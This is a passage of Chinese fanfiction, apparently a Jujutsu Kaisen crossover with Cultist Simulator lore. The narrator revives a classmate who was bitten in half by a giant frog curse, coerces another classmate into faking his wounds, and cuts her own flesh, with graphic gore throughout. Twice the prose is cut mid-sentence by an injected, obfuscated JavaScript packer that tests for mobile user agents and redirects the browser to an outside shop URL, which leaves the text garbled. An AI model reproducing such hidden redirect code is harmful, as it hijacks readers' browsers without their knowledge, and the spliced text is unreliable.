“喜欢你是一件很愚蠢的事情吗?” 他自有答案,你也知道,因此缄默。 “想帮助你从而认识你,难道是一个错误的决定吗?” 现在你连呼吸都是没有声音的。 “是不是……你游刃有余,你不会选择我,他们都知道?” 当他在光明触手可及的黑暗中摸索着碰到你的脸的时候,你本意是想反驳一下的,就那句【不会选择他】。很明显,夏油杰有些关于抢跑道义上的顾虑。与此同时,他把心思分给了内在精神建设和与世界和解的青少年难关。 你感觉到一种没投简历但期待入职的荒谬。 不过他哀怨的情绪仍然通过口唇传达给了你。 从他贴上来的那刻开始。 他在你的嘴唇上探索,很快便找到了入门的关窍。你的双手齐齐伸过他结实的肩膀,在他脖颈后面交汇。双腿有力地缠着他的腰。 就像你第一次吻他时一样。 夏油杰对你来说还是有些高,所以如果他不低头,你又要用嘴唇触碰他的嘴唇,就需要攀援到他的身上。 现在嘛,他很主动,但黑暗和他的示弱激发了你一些不太良好的品性。 你想低着头,施吻。 今夜,他的双唇颤抖如飘零树叶,血液在薄薄皮肤下的血管中奔流,那些他从不情愿也不屑于诉说的事情,就顺着口腔中赤裸的潮湿蔓延到你这里。 等你带着他走到蓝绿色的辉光下,他几乎不愿意睁开眼睛:“你是不是要走了?” “来都来了。”你说。“我带你去个地方,作我的……临别赠礼。” 你一直对他执着偏好的丸子头不理解,手指插在他发间,等你离开时,他的头发披散下来只比你现在的短一点。 你偷窃了夏油杰的一个发圈。 不过你给了他恰巧是他当下需要的东西作为回礼。 林中之井是圣杯和丝毧的圣地(圣杯和丝毧都是司辰),现在,深不见底的井中见不到倒影的蓝月,只有边沿有丝毧的青色苔藓。 代表生机的绿波涨潮一样蔓过井口,流水一样行于地面与你们的足尖。 “别客气,喝一点天然的植物水。” 不祥的静谧笼罩了这个有光的夜晚,你鞠起的一捧水波,它的碧绿究竟是本色还是折射了这的天光?不管答案是与不是,刚才很乐意对你张开嘴的夏油杰现在仿佛是恐怖梦境的主人公。 因为你要给他喂奇怪的液体。 他不是很愿意饮下丝毧祝福的活力之水。 “这是好东西。”你向他解释。“明天你醒来,一点也不会疲惫,你瞧。” 你低头率先啜饮一口,然后吞咽。 “……谢谢。” 但是不用了,谢谢。 你在内心帮他补充完整个句子。 试图说服这个人才是愚蠢的决定,因此你高抬手,绿水自手腕处倾倒,你仰头接住大部分的。 然后你再一次贴上了他的嘴唇。 这次光下的吻,间杂着吞咽声。 咕噜咕噜咕噜,他饮下了很多。 多到,唇齿间肆意蔓延出水流。 夏油,他在晚上还是挺可爱嘛。 第二天起来时,你精神振奋,相信他也一样。 58.第 58 章 8月,你不是故意路过自动售货机,然后遇到在白天已经持续一个月没和你说过话的人的。 灰原喊你来买饮料,他比你先到一步。 你后脚来,在回廊阴影里就听见了他元气满满的声音:“尽自己所能做能做事情,这样就非常好了!” 所以说他喝着前辈请的气泡水,说着傻气的话,然后和你疏远的夏油杰就在旁边听,还说“你说得对。” 两个傻子。 你摇摇头。 但在你决定出现之前,他们本来也快结束的对话多了第三个人。 “你喜欢什么类型的女人?” “胃口好的!!” …… 你还没忘记自己是为了饮料而来,因为天气真的很热,现在,你都不愿意出高专走点路去买冰棍了。 九十九由基打乱了你静静等待的计划。 “那边的同学,你在偷听吗?” “不是的,我在等你们用完自动售货机。”你太腼腆了,不喜欢在别人讨论起咒灵起源的时候窜出来打搅他们兴致。 虽然看起来一直是她在努力寻找话题,不过自从到禅院甚尔以后,夏油杰也入神了起来。 直到你的存在被点破,从阴影里走到阳光下。 被玻璃窗过滤了一遍的阳光还是很热。 夏油杰还挺能说的呢,马拉松的比喻也很有趣,但你出来以后他就不说话了。 他看着你,眼神复杂。 你觉得九十九由基以后不做咒术师,去做个记者也不错,她很擅长挖掘。 哦,她现在也没在做咒术师,差点忘了。 “不自我介绍可是不礼貌的~”她个子很高,有白金色的长发,直直垂到腰间。表情阳光明媚,声音中气十足。 对比起来,你几乎像是一个没什么生机的木头。 “铃木星夏,目前在读二年级,灰原的同学。误入潮区,我很抱歉,不过我看你和岩守女士或许有的聊。” “来都来了,你怎么看?” “有点热。等科学家攻克全球变暖问题,一切都会好起来的。” 九十九由基爽朗地完全没听懂你的幽默。 事实上,你还想起了去年的一桩趣事。 也就是在这样炎热的天里,你说过人类的性命与咒灵的性命不过是天平两端,你永远选择挥刀向对你伤害更小的那端。 在过去的一年,你做到了。 真是仿佛过去了很久呢,现在你不再动不动见血,也有了熟悉的社交圈。 “不打算回答吗,还是没听懂呢,不管了。正好想起一件事情,夏油君,说起去年的夏天就是星浆体了……” “不用在意,总是会有新的星浆体。要么是planb,要么是有新的出生。总之天元应该安然无恙。” 九十九由基远比你会安慰人。 她也是挥一挥衣袖就走的类型,你拿着可乐罐出来的时候,只听见摩托的轰鸣。 夏油杰伫立原地,谛视她的背影。 在这种时候,你不打算和他说话,反正按照灰原的性格也早就问过伴手礼偏好之类的人际关系小问题。 铝罐的外壳凝了一层水珠,你抹了点到脖子后头降温,优哉游哉地走了。 在某些至关重要的事情发生之前,往往根本不存在征兆。只有好事者从既定的结果探寻其源头时,会牵强附会地给事件加上不切实际的谶语和虚荒诞幻的预言。 假的。 实际上,在坏事发生前,那只是普通的一天。 次日,你将这个任务定性为: 一个简单的二级任务,但很远,辅助监督你也很不喜欢。 岩守知子。 你在车后座的时候,她还通过后视镜恭喜了你和五条悟的交往新闻。 已经是上个月的事情了。 你缩在座位上:“谢谢。” 你睡了一路。 灰原因为坐在全程合眼的你旁边,只能和副驾驶座上的七海说少少的话,一路上也憋坏了。 他下了车以后就拉着自己的亲亲同期像秋游一样谈天说地。 他们走在前头,你走在后头。 “真是青春啊,不是么?” 你回头往缝合线的地方看去:“我也青春。” 你追了上去。 今天的天空是很漂亮的蓝色,你们找到了村落里的联系人,报告的奇异事件发生点正在村落水源山谷的源头深涧。 “真好,还能去看水。”灰原拿出了自己的照相机。 你也觉得不错:“至少山林里不会有太阳,夏天有水也凉快很多。” “你们两个……”七海不随身带笔记本,但他很认真在听。 林间山路难走,你很高兴。 因辅助监督不与你们同行。 “里面信号也不一定好,请不要在山林里过久逗留。” 她的叮嘱你听了,但你知道七海一定能认得回来的路。现在,你走在最前面。 一步一步,茂密的林叶遮住你们踪迹,往山里走去。 你在泥土坚实的路上,感受潮湿青苔摩擦鞋底的轻微异样:“山里有什么?” 七海一板一眼问你,像小组长监督组员:“你刚才没听吗?” “听了,但我没听说过这部分--”你指了指前头突然起的规整石阶,还有红漆褪色斑驳的鸟居:“没听说有人在上头建神社呀。” 风吹雨打又失修,这里的台阶也只比泥土底但常有人踏足的山麓好走一点点。山里多怪谈,这个地方瞧着像某种发源地。 “可能他们也不知道这个。”灰原往上窜了几步,在一尊青蛙雕像之前,用身上带的湿巾擦拭磨损的表面。碧翠的蛙眼褪回灰白的本色。 “这里已经是山里很高的地方,我还看见了地上能吃的蘑菇和树上果子。你要帮我和青蛙神合影吗?” “青蛙……不觉得有点诡异吗?”它的姿态敦厚,还颇有佛性地双手-爪合十,再说--倒不是说你种族歧视,不过就算真有人愿意供奉青蛙,作为留影对象而言更适合的还是兔子或者狐狸这类毛茸茸的吉祥小动物。 灰原已经比好了耶,睁大眼睛在那边看你一直不开镜头才换回休闲的状态和你解释:“怎么会?青蛙可以保佑平安回家,还可以招财。” 七海也跟你科普:“因为青蛙是【kaelu】,回家也是。我以为你很擅长谐音梗。各个地方都有供奉青蛙的神社。” “……”大家的信仰真是千奇百怪。“招财是?” “花出去的钱都会回来。”七海侧过身看你。“因为KA E LU。” 就算是山里的夏天也太冷了。 然后他叮嘱已经又往上面跑的灰原。“即使窗和原住民没有提到,未经供奉的神社在传统意涵中仍然是危险的。” 你懂的,网络怪谈里都这么写。当初上报总监部也是因为这些年断断续续在村里失踪。 --这次是因为前两个月的失踪者以前在东京上过大学,现在他回了乡,昔日同窗,现在也没断联朋友却是个小有名气的大学老师,总之在关系网的运作之下,一些民俗学的研究也横插一脚。 这个大学老师带领的调查小队在初步查证资料之后,上网开设了募捐通道。 如此如此,又引发了小规模社会关注。 本来就是观测中近些年略有波动的地区,万一真有什么大不了就不好说了。 如果你是总监部的舆情管控相关工作人员,你也会这么想。 派出了窗--是个二级,他回报说。 适合学生练手的等级。 “但是二级的话,”灰原站在你们上面很多,差不多安全通道里是半层楼高的那么多楼梯距离,用大拇指指向自己,其余握拳。“你们就好好休息,全看我的就可以!” 你在想晚上能不能来得及吃到自备干粮以外的烟火气美食,如果可以,你就自愿放弃中午的压缩饼干。 七海和你讨论起了你作为咒术师竟然不太了解的民俗文化。 “你没看过相关的书吗?” “兴趣不大。”神神鬼鬼的,到最后发现供奉的是咒灵就老实了。你会劝所有人不要乱信仰。“咒灵见过很多,但你见过神迹吗?” “我没信仰,只是你竟然连青蛙都不知道。”七海看样子还有点高兴,因此他的话在你耳里就不免有点【这你都不晓得】的得意。“我以为你什么都有所涉猎。” 你不客气地蛐蛐他:“我听出了那种:华生听说福尔摩斯不知晓地球绕太阳公转的喜悦与嘲弄。” 话都说到这份上,不肯承认自己是华生的同期必须要和你斗嘴了。 “你就理所当然把自己放在夏洛克·福尔摩斯的位置上了?我觉得你不是。” “那我觉得,”你学他的话,“你不是在否认我的脑子,只是出于立场。你不想做我的助手,觉得屈才了,或者单纯自尊心过意不去。” 七海严肃起来的时候还是很严肃的。 “我-” “从来没做过你的助手。” 他意识到你在占他便宜了。 你站远两步哈哈大笑。 变故发生的时候正如喷嚏和飓风海啸一样突然。 你先是听见了远处很响亮的一声蛙鸣。 你对青蛙这种皮肤鲜艳光滑,但是黏腻无毛的生物是有些抗拒的,蜥蜴毛糙点,但它们更干燥。 耳闻钟声一样浑厚的咕咕声,你能立刻想象出发出声音的巨大生物咽喉下声囊鼓动,它趾尖的吸盘牢牢扣住树叶和石头…… 声带被肌肉和软骨拉紧,于是绵长的叫声也和鼓声一样鼓震起来。 你往七海的方向看。他停住了脚步,一动不动维持上台阶的样子。 他嘴唇颤抖,脸色发白,似乎有瞧不见的死魂灵在迫近,向他索命。 你没有感知到任何可以称得上危险的东西。目前最可怕的是他的脸色。 “怎么了?”你问。 可七海没有回答你,四肢动作的时候像运动员冲刺那样发了疯地往阶梯上跑去。 你稍后反应过来,也去上面看灰原--他刚才跑得最快。 几分钟前,浓眉大眼的少年眉飞色舞地担下了打头阵的重任。 等快到山峰的平台时,你比他还快上一些。 于是你先见到了那副血与地面上的粘液还有其他液体混合的模样。 你在水塘边上见到了半个灰原。 他张大着嘴,正在竭力对你……眨眼。 他的胸口被水打湿,还有起伏,但呼吸已经快消磨。你从难以辨识的口型中勉强认出,他在说 重复的三个音节。 快逃走。 你听见了第二声蛙鸣。在潮气很重的平台处透过水雾,直达你的耳朵。沉闷,搭配不知何处的水声滴答,令你联想到水牢里的不佳生态。 下一秒你被七海拽紧后辈的一块校服甩在他肩膀上,世界颠倒。 你放才站的那块地方被从天而降的一截舌头击破纸片一样打碎了。 衣服摩擦的声音盖过了七海急促的脚步声:“快走,快走……” 七海的脚步很快,但舌头和牙齿在打哆嗦。 他扛着你一口气跑了有七八秒,你才听见他说出不一样的话:“灰原他,已经--”现在你的头发垂在他身前,而你像工人的麻袋一样抵在他肩膀上,你换个受力点抬头,能看见他精神恍惚但冷汗直冒的脸。 七海的嘴唇颤抖翕动,说不完整一句话。 关于这个…… 你的脑袋里刚刚几秒在权衡另外的事情。 灰原对你一直不错,他还请你喝可乐,吃便利店,在校二级能匀出这么些钱关怀同期已经很了不起了。 他为人温和敦厚,你挺喜欢他的。 而且灰原还有很多家人,还有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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控制七海的发条齿轮降下速来,他僵硬的转头,对上你头发散乱的脸:“你有什么办法?” 他的声音像是从一个刚化冻的人喉咙里发出来的,冒冷气,而他偏欧洲人的脸庞五官立体坚毅,确有寒意。 “灰原还有呼吸,而且我们可以祓除那个咒灵。”时间大约是够的,如果灰原够胆子还愿意用咒力封闭他横截半个身子的伤口。 “我们做不到。”他说话像钢铁一样冷硬。 “我一向不喜欢两栖动物,所以尸体给你来处理,你负责刨开它的肚子。”你充耳不闻,规划起了未来路线:“不过你……如果我们不认识,大可以以后再也不见,可是看起来还有三四年的同窗。” 这才是你最苦恼的事情呀,烦心的善后工作。 “……” 他在担心同窗的命,你在关心自己的安危,听起来不那么高尚。 不过你也不是第一次不合时宜了。 “其实,我是一个来自欧洲的女巫。” 旧瓶新酒,这就是秘密的好处。 七海肩上扛着你--来自欧洲的女巫--往回,登山。 你看见他双眼无神,从中你知道,一部分的他已经放弃了思考。 当你重新登上最高的阶梯时,你在七海的肩膀上,望的更高。 灰原不再眨眼,他的血还在红墨水的池塘里肆意延伸。 它一定是吃掉了他的下半身。你想象巨大的咒灵如同叼虾子一样把灰原抛到半空,然后接住了他的腿--用齿关。 --所以他的手散在小溪里。 灰原手臂并不短。 重新站在地上的时候,你又感受到了鞋底摩擦湿滑青苔的黏腻,回头告诉还站在鸟居下的形影相吊个体:“布个帐。” 七海动了动嘴唇,最后一次提醒你:“这不是我们--这是……产土神。” “产土什么?” 因为七海现在也只有半个人顶得上用,时间紧迫,你自己设下了帐。 你以前见过一些一级咒灵,现在也没觉得它们很有压迫感。 然而就是这样不被你放在眼里的东西,险些夺走灰原的性命。 你在抽走七海的刀前再瞥了倒在池塘边的人,和他暗淡无光的眼。身往虚界的个体就不能简单地被你这样的长生者带回。 或许要具名者,不,大概得是司辰才行。 但你也难以验证,首先没有司辰会帮你,就算祂们愿意……你真的要把司辰的一瞥用在灰原身上吗? 不能过度考验自己,你会让他恢复的,在死亡的阴影彻底笼罩之前。 蜘蛛之门贪婪,饱饮鲜血,但你今天却不能简单地给它喂食,不然灰原的半个身子就没了着落。你需要它的身体,腹中有灰原的残躯。 狩猎时风声猎猎,胜负高下也只在须臾间。 第一声蛙鸣,你斩断了它的长舌,枯枝一样落地,溅起水花滴滴。 第二声蛙鸣,你皱着眉头划开了它饱胀的皮囊,然后再也没有蛙鸣。 接下来你用呼吸来划分时间。 在咒灵的咒力与你的斩刀之间,你又瞧见了去年夏天刚开始时你无意识发动术式的情景,也许是不想被血污和粘液弄脏激发了你的探索能力。 短兵相接后,它的蹼撕裂开,且无法恢复,你完好无缺。 它垂死挣扎的剧烈震动被帐遮挡,这里植被繁茂,有树木的根系在此不至于水土流失。你刺破它的双眼,脓液般浓稠的咒力泉眼一样汩汩涌流。 最后,庞然大物轰然倒下,在自己的血泊中再没起身。不过咒灵死亡就会消散,你把七海的刀扎在它的咽喉上,巧妙地给它留下了一点。 源自信仰的产物,所以是产土神,你在这刻理解了。 这是一只于泥土中发芽,信仰中壮大的青蛙,状态是濒死的凛冬一样再无声息。 “快点,你去把灰原的腿找出来。” 虽然也只过去了短短的一两分钟,但呆愣在原地可不好,七海身上肩负重担。你晃了晃手,弹了他一个脑瓜崩。七海的额头上有紫色的血。 你去池塘里拣了他的手。顺便洗了洗自己的手。 苍白,碎骨在肉渣中。皮肉狰狞。 59.第 59 章 灰原雄生活在一个普通而幸福的家庭。不过话又说回来生小孩正好生两个,又正好一男一女,这本来也是一对希望儿女双全的夫妻能得到的极佳体验。 他在小时候就知道自己智商还行,身体不错,也许他也可以做个差不多的运动员,然后退役做场管里的什么教练。 不过咒灵比运动员教练先找上门。 而他和妹妹都能看见。 事情于是从【孩子是不是脑袋有点那什么】变成了【糟糕,孩子是阴阳眼】。 他进入了咒术高专,顺理成章认识了七海和其他前辈,然后……认识了一个插班生新同学。 第二年,盛夏的一个任务里,他一时大意,葬身蛙腹。 说起来,这么大的青蛙,他也还是头一次遇见。 好疼,好想大叫,痛苦得眼睛都闭不上,也留不出眼泪。 五分钟前,他的耳朵里还吵吵闹闹,有水流声,脚步声,还有同期在后面一左一右说笑的嘈杂。 现在,一切水流和谈笑都离他而去了。 结束了。 世界从模糊到黑暗,光不行于亡者眼瞳。 在接近空无的时候,他仿佛置身一片走廊,只有一线墨玉色指引他向前的路。 左右两边放映着他的一生。 因为不长,所以默片一样,安静缓慢。 如果是铃木的话,应该会说:“为了拖时间做出来的,这样观影者就能花一样长的时间接受更多无用信息。” 哈哈,才不是呢,灰原其实很重视自己身上发生过的事情,好事情,坏事情。 他是个体验派。 才不能说……是无用的信息--如果灰原还能流泪,他会的。 往前走,到尽头,医院手术室一样的双开门对他开放,他看见了向下的螺旋阶梯,深不见底。 指引的光路到这里也失灵。 往下,只有视觉外其他的感官能派上用场。 如果是七海的话,应该会劝他:“不要乱跑,不然我和前辈们找不到你。”那一看就不像安全的地方。 不过,也是没办法的事情嘛,也没有别的路可以走。 没有别的路可以走,只有向下,向下。 踏上往下的第一阶梯,16度空调一样的寒意就不要钱地围绕上来,要是教室里也这么凉快就好了, 灰原萌生退意,但除此之外,他也没别的路可以走。 所以他迈开另一只腿,打算在暗了一个度的下一个音阶台阶上,顺从地降低自己。 左脚站定。 闻所未闻的言语在高处像轻纱一样落下,好像是来自夏天的山风热气吹散了冰寒。等他反应过来,眼前的无光的楼梯被不知从何而来的火光照亮。 而在他身后,有一条通往高处的金红色阶梯。 看起来更华丽,就是,有点烫脚的样子。 一边是金色琴键一样厚重的钢铁与火焰铸造的岩浆路,但它并未让他感到灼热难忍,另一边还是潜伏黯淡死意的螺旋深渊。 而且,往下的道路是寒冷的。 还是要有点【冒险精神】。 握紧了拳,灰原沿着不知缘何新出现的道路攀缘向上。 更往上,光芒大盛的时候他好像听见了两个同期的交谈。 后来,他就失去了意识。 梦里醒来的时候看到的第一眼是家入前辈,和白色的天花板。 灰原:“有蜘蛛结网哎。” “眼睛这么尖你不要--今年交给你打扫。”家入硝子威严地把手上的病例卷筒往他头上敲。 “嗯…………这么说,我还活着?” “当然,不然你还想怎么见到我。” “我以为,”灰原雄的声音变得很小很小,“我以为我被青蛙吃掉了。” 刚醒来的人就算只是无害的全麻也可能说胡话,家入硝子不放心上:“不关心下你的两个同学吗?” 灰原一个激灵,对啊,同学! “对了!还有七海和铃木,他们怎么样了?” “七海把你们扛回来了,他给五条打了电话,后来就……结果是曾经被供奉的神明又被遗忘,怨恨和信仰残余的力量让它成了一级。窗弄错了。” 前去探查的窗疏忽了,没发现这点。 “那我……我记得,我被吃掉了?”懵懂的后辈旧事重提。 “显然,你没有。前辈们帮你看过了,你整齐的呢。帮你诊断一下:恐慌时的幻想。” 灰原迷迷糊糊地没理解情况,不过专业医师这么肯定,他就顺着想,忽略了心头一点异样:“唔,原来是这样啊。” 他昏昏沉沉睡去,朦胧中还听见困倦前辈的哈欠声。 但门口的敲门声又打断了他的睡意。 “七海!!”灰原急忙忙从床上坐起来,结果看似完好的身体-特指右侧肋骨,他的感官狭窄到只能容忍那处传来的尖锐疼痛:“好疼,但是……见到你没事真是太好了。” 虽然家入前辈在之前就说过是七海扛的他们。 说到这里,灰原雄才后知后觉的发现当时前辈说的是【你们】。 这个时候就肯定要关心下同学:“那铃木怎么样?” 七海的脸色变得很差,这让灰原心中有了不好的猜测。 “别瞎想,她也挺好,也就在今天傍晚就能醒来。”作为医生,最见不得家属做出可怕的表情,尤其,病患还没到那种程度。家入硝子一巴掌轻轻呼在七海建人的后脑勺。 她还难得拉紧距离感地揉了揉,让他硬质的发丝更凌乱。 七海脸更黑了。 但肯定了这个说法:“铃木会好的,我就没见过比她还好的人。” 没人知道他的火气和讥讽从何而来。 灰原也不明白,但他只是敏锐地像以前一样把话题牵扯到自己身上,想让朋友别再为已经算是大团圆结局的事情烦心。 错误的说辞:他谈起了自己四分五裂的梦。 灰原雄学起了同学铃木特有的冷笑话风格:“这个说法有趣在梦境本身的破碎,还有在那之中的我的破碎,是不是很一语双关?” 七海几乎是低吼:“不然呢,谁给你拼好了不成!” 对,是人为拼接的。 仍然在昏迷中的你如果知晓这句话,一定会毫不犹豫地褒奖自己。 不过算起来这件事情七海也有不少的功劳。 只不过他现在多半在生气。 很生气很生气。 你还记得在那个中午,大盛的阳光穿行过枝叶迷宫,捕捉到七海建人忿怒炬火一样的燑燑目光。 8月的某天,你们进行了一次寻常的任务,只是有点远,辅助监督你不喜欢。 后来爆了个冷门,通报2级的竟然是在遗忘中扭曲变形的两栖咒灵。 在你整齐地摆好灰原的腰部以上,和泡在水里已经又有色差有略微浮肿的断手时,七海一声不吭地带来了他的两腿。 好消息,青蛙只有很小很小的牙齿,嚼不碎半个人那么大的东西。 坏消息,它的舌头很长,力气很大,足以让花岗岩一样坚硬的人体骨骼产生扭曲形变。 你是见过厨师如何捏造最传统的海苔包饭寿司的,海苔很柔软,如同人体外的衣装,比如裤子。 可当最终成品呈现在小巧碗碟中时,寿司海苔仍然不破裂,完整地包裹住一粒粒米饭,还有其中已经变了形状、紧紧挨在一起的其他材料。 他又穿着黑色的,浸了血也看不出颜色的校服裤,因此可以这么说:半个灰原像寿司卷。 说到寿司卷就不得不提灰原最爱吃的大米饭。 七海面上带着紫色的血和红色的血,他无暇顾及,即使在空出双手之后。 也许这是一种心理创伤后的解离。七海建人已经不知自己身在何处,在做什么了,他也嗅不到腥臭的空气,听不见滴滴答答的水声,感觉不到身上的厚重黏腻了。 你作为指使他去干活的人,在抱起软软的像被子一样的裤腿时,安慰七海:“你放心,我见过更糟的。” 这是实话,见过。 但没救过。 时间就是生命,这句话对灰原来说再正确不过。 他的嘴唇已经乌黑,陷入噩梦一样的隐忍阖眼神情似乎是最后留于世界的遗产。 你在背朝七海的时候就收敛了笑容和轻松的神情。 绝对,一点也不会轻松的。 你要思考很多事情。 但是,当你对上灰原泛青的眼皮时,你透过那层轻薄的遮挡,对在其下仍然遥望天空的瞳孔承诺,仿佛你们还是像往常一样四目相对: 人总是可以再多死一分的,灰原雄的死期至少不会是今天。 你会行一些特别的手段,做一个传言中医生该做的事情。 夏天的风吹来此处腐臭的气息,你的双眼聚焦于撕裂的巨大创口,还有其上露出了细密孔洞,被锁在身体里的生命就从这泄露流出。 你找来两个小石头压在灰原的眼睛上,你不想再被他不屈的眼神干扰。 【改变的仪式必然是毁灭的仪式,而若想催生巨变,野蛮的破坏必不可少。】 当下已经足够野蛮了。 你两只手掌合捂住位于灰原腰部的致命伤口--在此,作为一个完整的人类,他被一分为二。 你也分别向你的两位主人求告。 “燃烧的女王,敬请聆听我的祈祷……” 金色的火焰消弭了残酷伤口带来的狰狞形状,皮与肉与血管与肠道器官如同断线的麻绳,它们比以前更牢固地焊接在一起。 疤痕如牢不可破的绳结。 你将沾有干涸血液的手指放到灰原的唇上鼻尖。 不同于雄健猎风的微弱鼻息穿透血痂,抵达你的指节。 虽然快死了,但他毫无疑问地仍然在进行为微不可查的氧气摄取。 看来在场3个人中,不希望灰原死亡的概率达到了一致的100%。 已经有许多年,你的嘴巴没这么忙碌过了,而且不是在啃噬可以吃的好东西。 它先是脱水干裂,燥热难忍,可这里哪处水源你都不愿饮下。同伴的血和咒灵的血都不是符合你心中食品卫生安全的可吃物。 你时常用润唇膏保养的嘴唇,如今干裂如同峡谷裂痕。 作为祈求铸炉的代价:烈火烤干了你的舌尖与唇瓣。 现在灰原如同破镜重圆一样重新统一成整体。 然后,第二个到来的会是干渴和口欲。 “伟大的餐筵之母,给予生命之神,赤杯,我等永远为您献上全部的忠诚……” 老信徒了,你还和以前一样肉麻地讲话,情人呢喃一样轻唤她的名讳。 你清楚,赤杯诞生未必早于其余石源神,然而她宣称自己的最古老,只因为无论谁比她更古老,她都会试图把他们吞噬掉。 遭人嫉妒是这样的。你守口如瓶。 少有人知晓,当最初的猎人们受饿时,他们发现了林地中猩红的深井。将大地上的野兽献祭给它,三倍的祭品便得以被返还,捕猎人大啖其肉。 人向神明献上祭品,当然也是期待杠杆交换到更好的东西。不过正是自那时候起,他们将自己的生杀予夺之权也一并上缴给所谓的神迹。 林中之井,也算一种赤杯故居。 你想到了那天的梦,月下的你,面容柔美被照得光亮如瓷器的少年…… 倒也不是分神的好时候。你回到眼前的困局中来 你用指甲划开皮肉,血液浇灌在前方安详的苍白之人身上,让他从贫瘠的沙地变为沃壤。 你能听见灰原的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13948225|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸,见到他像白雪公主一样红苹果的脸庞,血色在白色的雪一样的肌肤上突兀点染,他在一瞬间被注射了过量活力。 鲜活的生命又回归,得以享受正午世界遍洒大地的日光。 你失去了一些东西,但三倍的生命力正在灰原整齐的躯壳里流窜,他又和来时一样健康。 问题1解决,接下来是问题2. 你回头看了一眼正在呆滞地瞧见一切的七海,叹了口气,搞不好比起死回生的谜题还难解决。 事实上也确实如此。 你问他:“你会帮我保守秘密的,对吗?” 你向前走一步。 七海后退一步。 忽略你不太干净白皙的双臂,还有露出的皮肤上的其他污渍,你觉得至少自己一张脸还算白净。 没到青面獠牙的恐怖面相。 你一步上前,拉扯他校服前襟,比你高一些的七海就不得不稍微低下头看见你握拳的手,和他皱成一团的外套:“……” 然后是他终于学会了说话,干涩嘶哑:“我,我会的。” 你信了。 --那你就会连20岁都活不到就死了。 七海脸部的血污加重了他的惊慌感,看起来他像是在演绎灾疫逃生的恐怖电影。 你往他手上塞了一样温热的物件。 你的短刀。 “现在,你去给灰原身上造几个伤口。”七海表现得实在不能令你信服。 任何一个脑子没有坏掉的人都会有同款结论。 自从上次夏油杰和圣诞那件事后,你意识到自己陷入了一个误区:这些小家伙们,面对突如其来的事情,反应远不如你镇定,倒不如说是大惊小怪的。 还是年轻人呢。 现在,你必须拉他做你的同盟。无论什么年龄阶段的人,趋利避害都是刻在双螺旋纹路里的天生反应。 这是件冷静的大脑随随便便就能捕捉到的底层策略,同谋,一丘之貉,随便怎么说,至少你们内部的事情都会好得多。 他露出的眼白昭示惊吓。七海问你为什么。 “这个啊,灰原身上有那么多血,这又是一级,他还能记得自己是怎么样被咒灵狩猎的……所以,你说呢?”帮忙保守秘密可不是嘴上说说然后直接沉默就能做到的。 总监部总不能相信一个二年级的二级就毫发无伤祓除了一级咒灵。哦,对,山外头还有个不知道底细的岩守知子。 她知道这件事情吗? “不,我不能……” “你能。你的刀可比我的大得多。” 现在,七海的咒具陷入了大青蛙的残躯。你的更干净卫生不挂血,伤害也更少。不必特意祓除它,把它留给后来的人,反正这里到处都是你们的残秽。 “……我,为什么?” “因为灰原记得自己受过伤,二级对战一级至少也应该受伤,而他现在完好无损。” 七海的眼睛终于能够对焦上你的,不过他还是嘴唇颤抖着说:“我不想--” “啪。” 你的手碰上他的脸,这就是两者之间发出的火花。 “别这么孩子气,快去。” 你绕着他半圈,到身后,冷不丁又推了他一把,弄得他踉跄。 你平常不太这样的,有点……沙文主义。 陌生了许多年的词汇,再一次相见,它可以用在你身上了。你开始压迫同窗一年的【朋友】。 今天以后,有概率你们就不是【朋友】了。 最后他问你,言语失去了力气和胆魄,不过他几乎是用尽了嗓门:“为什么是我,你为什么不能自己来?!” “不为什么,我就是把它交办给你了。” 时间一点也不紧迫,你们还有好些光阴可以浪费。 不过你丢出了最后一根稻草:“只是,你就不担心灰原醒来了要怎么和他解释吗?” -- 七海动手了,灰原完好无损的白肚皮上渗出血,腹腔里充盈的红色液体饱胀出肌肤。 他把你的刀丢到一边,弃之敝履,又用力打开你搭在他肩膀上的手。 干完恶人以后胆气有所提升哟,你在他肩膀上留下个血手印,不过黑校服,无关紧要的。 不和急了的人计较,你移步到自己的珍爱短刀落地的地方,它的刀锋驽钝而银白,不沾尘土,不染血污。 光洁如新。 不过你还是用手指擦了擦它的刀面,一边交代七海:“辅助监督解决不了这事情,等帐解除,你就在这里和五条打电话。” 等等,他今天似乎有任务来的,不能保证你忙碌男朋友的手机还有信号。 “仔细想想你们也没那么熟,直接找夜蛾老师。” 你不在乎他有没有回应。 “窗误判,我们都受伤了,急需更多的医疗支援。然后,” 听见你的停顿颇为长久,七海维持着捂住倒地同期伤口的动作不变,缓缓朝你回过了头。 你正在面无表情剜割自己腰上的肉。 你动作认真,手指灵巧翻飞如同精修肉块的屠户匠人。 好像感觉不到疼痛,也没看见血流如注,不过你苍白的面色和空洞的脸还是说明了这具不够坚毅的躯体需要补血。 缺氧让你脑袋眩晕,但问题不大,你随即接着说: “我只说一遍,你也不知道发生了什么事,你听见一声,两声,三声,蛙鸣,地动山摇……反正我差不多是祓除了它。残晦也能证明这点。我不介意你最后动手,也加入进来……” 你的声音慢慢的降低下来。 “我不喜欢岩守,别让她碰我,你就在山上等。” “我们赢了,但损失不少。” “砰。” 你倒地如折断了根的树苗,位置就在高大的水杉附近。 60.第 60 章 拥有反转术式是件方便的事情,就像上班族和快食面,怕冷的人和暖手炉。不过咒力的操控依托于咒力本身,离开了源泉,再精湛的技艺也失去了发展的舞台。 咒力储备源自负面情绪,你毕竟还是个不知天高地厚的二年级学生,用完了咒力导致反转术式施展不出来也是寻常。 你不想被别人问问题,也不想体会很多□□的伤痛。 显然这一切诉求,梦境和欢宴都可以替你勾销。 你的意识抗拒一切治疗手段,逃遁到了漫宿中。 在你不知道的地方,硝子说你在当天傍晚就能醒来。 她说错了。 你在身体痊愈后的第二个深夜才醒来。 一天天吃不动的流水席勾不起你的兴趣,你带上一段重磅蛙腿后就短暂离席。 